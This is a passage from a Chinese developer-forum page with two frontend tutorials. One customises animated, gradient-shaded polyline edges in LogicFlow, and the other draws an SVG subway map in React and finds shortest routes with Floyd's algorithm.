properties: {
textPosition: 'center',
style: {
strokeWidth: 10,
},
},
text: { x: 390, y: 458, value: '边文本4' },
pointsList: [
{ x: 630, y: 360 },
{ x: 630, y: 458 },
{ x: 150, y: 458 },
{ x: 150, y: 360 },
],
},
{
id: '1-2-4',
type: 'customPolyline',
sourceNodeId: '1',
targetNodeId: '2',
startPoint: { x: 100, y: 320 },
endPoint: { x: 680, y: 320 },
properties: {
textPosition: 'center',
style: {
strokeWidth: 10,
},
},
text: { x: 390, y: 114, value: '边文本1' },
pointsList: [
{ x: 100, y: 320 },
{ x: 70, y: 320 },
{ x: 70, y: 114 },
{ x: 760, y: 114 },
{ x: 760, y: 320 },
{ x: 680, y: 320 },
],
},
],
})

然后我们就能获得一个这样内容的画布:


绚丽动画折线-LogicFlow-Examples-10-30-2024_11_08_AM.png


添加动画

LogicFlow提供的边动画能力其实是svg 属性和css属性的集合,目前主要支持了下述这些属性。


type EdgeAnimation = {
stroke?: Color; // 边颜色, 本质是svg stroke属性
strokeDasharray?: string; // 虚线长度与间隔设置, 本质是svg strokeDasharray属性
strokeDashoffset?: NumberOrPercent; // 虚线偏移量, 本质是svg strokeDashoffset属性
animationName?: string; // 动画名称,能力等同于css animation-name
animationDuration?: `${number}s` | `${number}ms`; // 动画周期时间,能力等同于css animation-duration
animationIterationCount?: 'infinite' | number; // 动画播放次数,能力等同于css animation-iteration-count
animationTimingFunction?: string; // 动画在周期内的执行方式,能力等同于css animation-timing-function
animationDirection?: string; // 动画播放顺序,能力等同于css animation-direction
};

接下来我们就使用这些属性实现虚线滚动效果。


边的动画样式是取的 model.getEdgeAnimationStyle() 方法的返回值,在内部这个方法是取全局主题的edgeAnimation属性的值作为返回的,默认情况下默认的动画是这样的效果:


default-edge-animation.gif


开发者可以通过修改全局样式来设置边动画样式;但如果是只是指定类型边需要设置动画部分,则需要重写getEdgeAnimationStyle方法做自定义,就像下面这样:


class ConveyorBeltEdgeModel extends PolylineEdgeModel {
// 自定义动画
getEdgeAnimationStyle() {
const style = super.getEdgeAnimationStyle()
style.strokeDasharray = '40 160' // 虚线长度和间隔
style.animationDuration = '10s' // 动画时长
style.stroke = 'rgb(130, 179, 102)' // 边颜色
return style
}
}

然后在getEdge方法中加上各个动画属性


// 改写getEdge方法内容
const animationStyle = model.getEdgeAnimationStyle()
const {
stroke,
strokeDasharray,
strokeDashoffset,
animationName,
animationDuration,
animationIterationCount,
animationTimingFunction,
animationDirection,
} = animationStyle

return h('g', {}, [
h('polyline', {
// ...
strokeDasharray,
stroke,
style: {
strokeDashoffset: strokeDashoffset,
animationName,
animationDuration,
animationIterationCount,
animationTimingFunction,
animationDirection,
},
}),
])

我们就得到了定制样式的动画边:


base-edge-animation.gif


添加渐变颜色和阴影

最后来增加样式效果,我们需要给这些边增加渐变颜色和阴影。
SVG提供了元素linearGradient定义线性渐变,我们只需要在getEdge返回的内容里增加linearGradient元素,就能实现边颜色线性变化的效果。
实现阴影则是使用了SVG的滤镜能力实现。


// 继续改写getEdge方法内容
return h('g', {}, [
h('linearGradient', { // svg 线性渐变元素
id: 'linearGradient-1',
x1: '0%',
y1: '0%',
x2: '100%',
y2: '100%',
spreadMethod: 'repeat',
}, [
h('stop', { // 坡度1,0%颜色为#36bbce
offset: '0%',
stopColor: '#36bbce'
}),
h('stop', { // 坡度2,100%颜色为#e6399b
offset: '100%',
stopColor: '#e6399b'
})
]),
h('defs', {}, [
h('filter', { // 定义滤镜
id: 'filter-1',
x: '-0.2',
y: '-0.2',
width: '200%',
height: '200%',
}, [
h('feOffset', { // 定义输入图像和偏移量
result: 'offOut',
in: 'SourceGraphic',
dx: 0,
dy: 10,
}),
h('feGaussianBlur', { // 设置高斯模糊
result: 'blurOut',
in: 'offOut',
stdDeviation: 10,
}),
h('feBlend', { // 设置图像和阴影的混合模式
mode: 'normal',
in: 'SourceGraphic',
in2: 'blurOut',
}),
]),
]),
h('polyline', {
points,
...style,
...arrowConfig,
strokeDasharray,
stroke: 'url(#linearGradient-1)', // 边颜色指向渐变元素
filter: 'url(#filter-1)', // 滤镜指向前面定义的滤镜内容
fill: 'none',
strokeLinecap: 'round',
style: {
strokeDashoffset: strokeDashoffset,
animationName,
animationDuration,
animationIterationCount,
animationTimingFunction,
animationDirection,
},
}),
])

就得到了我们的自定义动画边


录屏2024-10-29 19.57.02.gif


结尾


在流程图中,边不仅仅是节点之间的连接,更是传递信息、表达逻辑关系的重要工具。通过 LogicFlow,开发者可以轻松地创建和自定义边,以满足不同的业务场景需求。从基础的直线边到复杂的曲线边,甚至动画边,LogicFlow 都为开发者提供了高度的灵活性和定制能力。


希望能通过这篇文章抛砖引玉,帮助你了解在 LogicFlow 中创建和定制边的核心技巧,打造出符合你业务需求的流程图效果。


如果这篇文章对你有帮助,请为我们的项目点上star,非常感谢ღ( ´・ᴗ・` )


项目传送门:github.com/didi/LogicF…


作者:LogicFlow
来源:juejin.cn/post/7431379490969010212
收起阅读 »

svg实现地铁线路图

web
简介最近学习了svg,想着使用svg实现地铁线路图 其中黄色是1号线,蓝色是2号线,橙色是3号线实现:react+svg+数据结构-图。考虑范围包括了每站时间,但未包括了换站时间。考虑到换站时间可以加到每2个交换站的路程里功能功能:选择2个地铁站,标...
继续阅读 »

简介

最近学习了svg,想着使用svg实现地铁线路图

insta.gif 其中黄色是1号线,蓝色是2号线,橙色是3号线

实现:react+svg+数据结构-图。

考虑范围包括了每站时间,但未包括了换站时间。考虑到换站时间可以加到每2个交换站的路程里

功能

功能:选择2个地铁站,标出最短路程。

求最少换站路线,暂未做

实现思路

  1. 简化问题,先将所有地铁站分2类,交换站和非交换站。那么交换站可以充当图中的。那么从a=>b, 变成a=>交换站=>交换站=>b的问题,需要写死的是非交换站(a,b)能到达的交换站(下面的adjcent数组), 其中a=>交换站 和b=>交换站 相对静止,但是我这里也考虑到了非交换站到交换站需要的时间(time)

地铁线路图

image.png

image.png

  1. 首先根据每条地铁图数据绘制出地铁线路图,并添加上点击事件,这里要处理好地铁线路图的数据,数据需要相对准确,因为后面需要计算出最短路径。

image.png

image.png

  1. 求最短距离,使用的是Floyd最短路算法(全局/多源最短路)。 其中原理:计算a->b的最短路径,遍历所有,查找是否有最捷径路径 a->x x->b
for(k=1;k<=n;k++) 
for(i=1;i<=n;i++)
for(j=1;j<=n;j++)
if(e[i][j]>e[i][k]+e[k][j]) // i->j i->k k->j
e[i][j]=e[i][k]+e[k][j];

然而拿到最短路程后,但是并未拿到路程,拿到的是比如,a点到所有点的最短路程。你们可以思考一下如果获取最短路径。

大概长这样

image.png

  1. 求最短路径 使用一个对象,存储每次找到较短路径。 changeRodePath[${is}to${js}] = [ [is, ks], [ks, js], ]
  function getAllPointShortest(n, e) {
let changeRodePath = {};
for (let k = 0; k < n; k++) {
for (let i = 0; i < n; i++) {
for (let j = 0; j < n; j++) {
if (e[i][j] > e[i][k] + e[k][j]) {
e[i][j] = e[i][k] + e[k][j];
console.log("-------------------------");
const is = changeStation[i];
const ks = changeStation[k];
const js = changeStation[j];
changeRodePath[`${is}to${js}`] = [
[is, ks],
[ks, js],
];
console.log(changeStation[i], changeStation[j]);
console.log(changeStation[i], changeStation[k]);
console.log(changeStation[k], changeStation[j]);
// 2_2 2_5
//2_2 1_2
//1_2 2_5
}
}
}
}
setChangeRodePath(changeRodePath);
return e;
}

当选中2个站时,先取出adjacent,然后求出最短路程,

         let path = {};
adjacent0.forEach((p0,i1) => {
adjacent1.forEach((p1,i2) => {
const index0 = changeStation.indexOf(p0);
const index1 = changeStation.indexOf(p1);
let t=time0[i1]+time1[i2]
if ((rodePath[index0][index1]+t) < minPath) {
minPath = rodePath[index0][index1];
path = { p0, p1};
}
});
});

具体多少不重要,重要的是通过 let pathm = changeRodePath[${path.p0}to${path.p1}],递归查找是否有更短的捷径,因为,2_1 =>3_9 的路径是:2_1 =>1_3=>1_5=>1_8,所以不一定有捷径a->c c—b, 可能是 a->c c->b, 然后发现有更短路径,c->d d->b,那么a-b 路程就变成了a->c->d->b。回到正题,递归之后就能取到最短路径了,然后通过2个交换点取得路径。

没有就更简单了

5.取对应的line,去渲染,这里分2类,交换站之间的路径(最短路径),头和尾。然后分别渲染polyline(使用对应line 的颜色)

function getPl(item, attr, listen) {
return (
<g {...attr} {...listen}>
<polyline //绘制line
{...item}
fill="none"
color={item.colorH}
strokeWidth="5"
strokeLinecap="round"
strokeLinejoin="round"
/>

{item.usePointn.map((point) => { // line 上的站
return (
<use
x={point.x}
onClick={() =>
choosePoint(point)}
y={point.y}
fill={point.color}
href="#point"
>use>
);
})}
g>
);
}

代码准备

// 上图所示,数据随便造,需要合理时间,不然得到的路程奇奇怪怪的

代码部分

html

  
width: "80vw", height: "100vh" }}>
<svg
id="passWay"
viewBox="0 0 800 600"
xmlns="http://www.w3.org/2000/svg"
>

<defs>
<g id="point">
<circle r="4">circle>
<circle r="3" fill="#fff">circle>
g>
defs>
// 所有地铁线路图
{polyline.map((item) => {
return getPl(
item,
{},
{
onMouseEnter: (e) => onMouseEnterShow(e, item),
onMouseOut: () => {
clearTimeout(t1.current);
t1.current = null;
},
}
);
})}
// mask
{ choosePoints.length==2 && (
<rect
x="0"
y="0"
width={"100%"}
height={"100%"}
fillOpacity={0.9}
fill="white"
>
rect>
)}
// 最短路程
{choosePoints && choosePoints.length==2 && showReduLine.map(line=>{
return getPl(line, {}, {})
})
}
svg>

通过line 获取 polyline

  function getLineP(line) {
const usePointn = [];
let path = "";
line.points.forEach((item, index) => {
const { x, y, isStart, isChange, isEnd } = item;

usePointn.push({ ...item, color: line.color });
if (index == 0) {
path = `${x},${y} `;
} else {
path += `${x},${y} `;
}
});
const polylinen = {
usePointn,
stroke: line.color,
...line,
pointStation: line.points,
points: path,
};
return polylinen;
}

选出2站绘制路程

  function comfirPath(point0, point1, p0, p1, pathm) {

let pShow0= getLines(point0,p0)
let pShow1= getLines(point1,p1)
let pathsCenter=[]
if (pathm) {
function recursion(pathm){
pathm.map(([p0,p1])=>{
let pathn = changeRodePath[`${p0}to${p1}`];
if(pathn){
recursion(pathn)
}else{
// 中间的line 不用按顺序
pathsCenter.push(getChangeStationLine(p0,p1))
}
})
}
recursion(pathm)
}else{
pathsCenter=[getChangeStationLine(p0,p1)]
}
const pyAll= [pShow0,pShow1,...pathsCenter].map(line=>{
const py= getLineP({
points:line,
})
py.stroke=line.color
return py
})
setShowReduLine(pyAll); // 绘制
}

参考: 1.# [数据结构拾遗]图的最短路径算法


作者:无名小兵
来源:juejin.cn/post/7445208959151767604

收起阅读 »